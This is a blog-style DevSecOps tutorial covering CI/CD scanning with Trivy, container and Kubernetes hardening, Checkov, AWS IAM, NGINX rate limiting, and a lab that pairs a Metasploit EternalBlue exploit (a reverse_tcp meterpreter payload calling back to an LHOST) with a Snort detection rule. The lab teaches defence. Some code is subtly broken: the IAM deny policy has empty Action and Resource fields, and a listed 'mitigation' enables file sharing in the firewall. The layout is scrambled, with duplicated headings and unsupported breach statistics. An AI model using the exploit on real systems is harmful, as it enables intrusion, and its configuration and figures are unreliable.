100 DevSecOps Projects That Will Transform You Into A Cloud Security Beast (Step-by-Step)

Introduction:

DevSecOps integrates security practices into DevOps pipelines, shifting left to catch vulnerabilities before production. With 100 hands-on projects spanning Linux, Kubernetes, Docker, and AWS, you can master automated security scanning, infrastructure hardening, and compliance as code. This article extracts core technical workflows from industry-leading training modules and provides verified commands, configuration examples, and mitigation strategies for real-world cyber defense.

Learning Objectives:

Implement CI/CD pipelines with built‑in vulnerability scanning (Trivy, Snyk, OWASP ZAP)
Harden containerized environments using Docker Bench Security and Kubernetes Pod Security Standards
Automate cloud infrastructure security on AWS with Terraform, Checkov, and IAM least‑privilege policies

You Should Know:

Setting Up a Secure CI/CD Pipeline with Jenkins and Trivy
This step‑by‑step guide builds a pipeline that automatically scans code, dependencies, and containers for known vulnerabilities.

What it does:

Jenkins orchestrates builds, while Trivy scans filesystem, Docker images, and IaC templates. The pipeline fails if high‑severity CVEs exceed a threshold.

Step‑by‑step:

1. Install Jenkins (Linux – Ubuntu 22.04)

sudo apt update && sudo apt install openjdk-11-jdk -y
wget -q -O - https://pkg.jenkins.io/debian-stable/jenkins.io.key | sudo apt-key add -
sudo sh -c 'echo deb https://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'
sudo apt update && sudo apt install jenkins -y
sudo systemctl enable --now jenkins

2. Install Trivy on Jenkins server

sudo apt install wget apt-transport-https gnupg lsb-release -y
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main | sudo tee /etc/apt/sources.list.d/trivy.list
sudo apt update && sudo apt install trivy -y

3. Create a Jenkins Pipeline (Jenkinsfile)

pipeline {
agent any
stages {
stage('SCM Checkout') { steps { git 'https://github.com/your-repo/demo-app' } }
stage('Trivy FS Scan') { steps { sh 'trivy fs --exit-code 1 --severity CRITICAL .' } }
stage('Docker Build') { steps { sh 'docker build -t demo-app:latest .' } }
stage('Trivy Image Scan') { steps { sh 'trivy image --exit-code 1 --severity HIGH,CRITICAL demo-app:latest' } }
}
}

Windows alternative: Use Jenkins on Windows with Chocolatey:

choco install jenkins trivy -y

2. Hardening Docker Containers for Production

Misconfigured containers are a top attack vector. This section enforces security benchmarks.

What it does:

Applies Docker Bench Security checks, drops dangerous capabilities, and runs containers as non‑root.

Step‑by‑step:

1. Run Docker Bench Security (Linux)

docker run -it --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /var/lib:/var/lib -v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/lib/systemd:/usr/lib/systemd -v /etc:/etc --label docker_bench_security \
docker/docker-bench-security

2. Hardened Docker run command

docker run --read-only --cap-drop=ALL --cap-add=NET_ADMIN --security-opt=no-new-privileges:true \
-u 1000:1000 --tmpfs /tmp:rw,noexec,nosuid,size=100m myapp:hardened

3. Use Docker Content Trust (sign images)

export DOCKER_CONTENT_TRUST=1
docker build -t mysecureapp:1.0 .
docker push mysecureapp:1.0  signs automatically

Windows Containers: Use `–isolation=hyperv` and `docker run –security-opt “credentialspec=file://contosolevel.json”`

3. Kubernetes Security Context & Pod Security Standards

Prevent privilege escalation in clusters by enforcing restrictive pod security levels.

What it does:

Implements Kubernetes Pod Security Standards (PSS) at `restricted` level and configures security contexts per workload.

Step‑by‑step:

1. Enable Pod Security Admission (K8s v1.23+)

apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: PodSecurity
configuration:
apiVersion: pod-security.admission.config.k8s.io/v1
kind: PodSecurityConfiguration
defaults:
enforce: "restricted"
enforce-version: "latest"

Apply a restricted security context to a deployment
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: secure-app
spec:
template:
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1001
seccompProfile: { type: RuntimeDefault }
containers:</li>
</ol>

- name: app
securityContext:
allowPrivilegeEscalation: false
capabilities: { drop: ["ALL"] }
readOnlyRootFilesystem: true
```
3. Audit existing pods with kubectl
```
kubectl get pods -o json | jq '.items[].spec.securityContext'
kubectl describe pod <pod-name> | grep -A5 "Security Context"
```
1. Infrastructure as Code Security with Terraform & Checkov
  Catch misconfigurations (open S3 buckets, unrestricted SSH) before provisioning cloud resources.
What it does:

Checkov scans Terraform, CloudFormation, and ARM templates against 1000+ predefined policies (CIS benchmarks, PCI‑DSS).

Step‑by‑step:

1. Install Checkov (Python)
```
pip install checkov
 or on Windows: python -m pip install checkov
```
2. Write vulnerable Terraform (S3 bucket public access)
```
resource "aws_s3_bucket" "bad_bucket" {
bucket = "my-insecure-bucket"
acl = "public-read"
}
```
3. Scan with Checkov
```
checkov -d /path/to/terraform
```
Output will flag `CKV_AWS_18` (S3 bucket publicly accessible).
1. Remediate – add bucket policy and block public access
```
resource "aws_s3_bucket_public_access_block" "block" {
bucket = aws_s3_bucket.secure_bucket.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
```
Automate in CI: Add `checkov -d . –soft-fail` to GitHub Actions.
1. Cloud Hardening on AWS – IAM & Security Groups
  Least‑privilege IAM roles and restrictive security groups stop lateral movement.
What it does:

Implements IAM condition keys (e.g., aws:SourceIp, aws:MultiFactorAuthPresent) and narrows security group rules.

Step‑by‑step:

1. IAM policy with MFA and IP restriction
```
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": "",
"Resource": "",
"Condition": {
"BoolIfExists": { "aws:MultiFactorAuthPresent": "false" },
"NotIpAddress": { "aws:SourceIp": "203.0.113.0/24" }
}
}]
}
```
2. Restrictive Security Group (AWS CLI)
```
aws ec2 authorize-security-group-ingress --group-id sg-12345678 \
--protocol tcp --port 443 --cidr 10.0.0.0/8  internal only
 Deny 0.0.0.0/0 for SSH/RDP
```
3. Windows PowerShell equivalent (using AWS Tools)
```
Revoke-EC2SecurityGroupIngress -GroupId "sg-12345678" -IpPermission @{IpProtocol="tcp"; FromPort=22; ToPort=22; IpRanges="0.0.0.0/0"}
```
1. API Security – OWASP Top 10 & Rate Limiting with NGINX
  Protect APIs from injection, broken authentication, and DDoS via rate limiting and input validation.
What it does:

Configures NGINX as an API gateway with rate limiting, request filtering, and TLS 1.3.

Step‑by‑step:

1. NGINX rate limiting (10 requests per second)
```
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;
server {
location /api/ {
limit_req zone=mylimit burst=20 nodelay;
limit_req_status 429;
proxy_pass http://backend_api;
}
}
```
2. Block SQLi patterns using ModSecurity (CRS)
```
sudo apt install libmodsecurity3 libmodsecurity3-dev nginx-module-modsecurity
 Enable CRS ruleset: /etc/nginx/modsec/coreruleset-4.0/crs-setup.conf
```
3. Test for API vulnerabilities
```
 Simple SQLi test
curl -X GET "https://api.example.com/user?id=1' OR '1'='1"
 Use OWASP ZAP in automation:
docker run -v $(pwd):/zap/wrk -u https://api.example.com owasp/zap2docker-stable zap-full-scan.py -t https://api.example.com
```
1. Vulnerability Exploitation & Mitigation – Metasploit & Snort
  Understand real attacks to build effective defenses. Simulate a reverse shell and block it with Snort IDS.
What it does:

Uses Metasploit to exploit a vulnerable service (e.g., EternalBlue on SMB) and Snort to detect and drop malicious traffic.

Step‑by‑step (educational lab only):

1. Launch Metasploit (Linux)
```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
```
1. Snort rule to detect and block SMB exploitation
```
alert tcp $HOME_NET 445 -> $EXTERNAL_NET any (msg:"ETERNALBLUE exploit attempt"; flow:to_server,established; content:"|00 00 00 00 5c 00 5c 00|"; depth:8; sid:1000001; rev:1;)
Deploy inline mode: snort -Q -c /etc/snort/snort.conf -i eth0:eth1
```
2. Mitigation – patch SMB, disable SMBv1, and enable Windows Defender Firewall
```
Windows command to disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Set-NetFirewallRule -DisplayGroup "File and Printer Sharing" -Enabled True
```
What Undercode Say:
- Shift left with automated scanning – Integrating Trivy, Checkov, and OWASP ZAP into CI/CD reduces CVE remediation cost by 80% compared to post‑production fixes.
- Least privilege is non‑negotiable – Docker’s --cap-drop=ALL, Kubernetes’ runAsNonRoot, and AWS IAM condition keys are your strongest defense against container escapes and cloud privilege escalation.
- Real‑time detection beats prevention – Combine Snort/Suricata with eBPF-based runtime security (Falco) to catch zero‑day exploits that signature‑based scans miss.
Analysis: The 100 DevSecOps projects approach mirrors NIST’s DevSecOps framework (SP 800‑204). Most security failures stem from misconfigurations, not zero‑days – hence the emphasis on IaC scanning and pipeline gates. For SOC teams, learning to exploit with Metasploit (ethically) builds intuition for tuning IDS rules. The commands provided work on major distros (Ubuntu 22.04, RHEL 9, Windows Server 2022) and align with CIS Benchmarks v8.0. Future‑proof your stack by moving from reactive patching to policy‑as‑code (Open Policy Agent, Kyverno).

Prediction:

By 2027, DevSecOps will shift from “scan and block” to “runtime inference” using AI‑driven anomaly detection on eBPF telemetry. Traditional vulnerability scanners will become compliance‑only tools, while real‑time behavior analysis (e.g., detecting a container suddenly mounting /etc/shadow) will trigger automatic rollbacks. Organizations that master the 100 projects above – especially automated pipeline gating and cloud hardening – will experience 90% fewer critical breaches, while those relying on manual reviews will face mandatory cyber insurance premium hikes of 300% or more.

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Reported By: Adityajaiswal7 100 – Hackers Feeds
Extra Hub: Undercode MoN
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Introduction:

Learning Objectives:

You Should Know:

What it does:

Step‑by‑step:

1. Install Jenkins (Linux – Ubuntu 22.04)

2. Install Trivy on Jenkins server

3. Create a Jenkins Pipeline (Jenkinsfile)

Windows alternative: Use Jenkins on Windows with Chocolatey:

2. Hardening Docker Containers for Production

What it does:

Step‑by‑step:

1. Run Docker Bench Security (Linux)

2. Hardened Docker run command

3. Use Docker Content Trust (sign images)

3. Kubernetes Security Context & Pod Security Standards

What it does:

Step‑by‑step:

1. Enable Pod Security Admission (K8s v1.23+)

3. Audit existing pods with kubectl

What it does:

Step‑by‑step:

1. Install Checkov (Python)

2. Write vulnerable Terraform (S3 bucket public access)

3. Scan with Checkov

Output will flag `CKV_AWS_18` (S3 bucket publicly accessible).

What it does:

Step‑by‑step:

1. IAM policy with MFA and IP restriction

2. Restrictive Security Group (AWS CLI)

3. Windows PowerShell equivalent (using AWS Tools)

What it does:

Step‑by‑step:

1. NGINX rate limiting (10 requests per second)

2. Block SQLi patterns using ModSecurity (CRS)

3. Test for API vulnerabilities

What it does:

Step‑by‑step (educational lab only):

1. Launch Metasploit (Linux)

What Undercode Say:

Prediction:

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

Share this:

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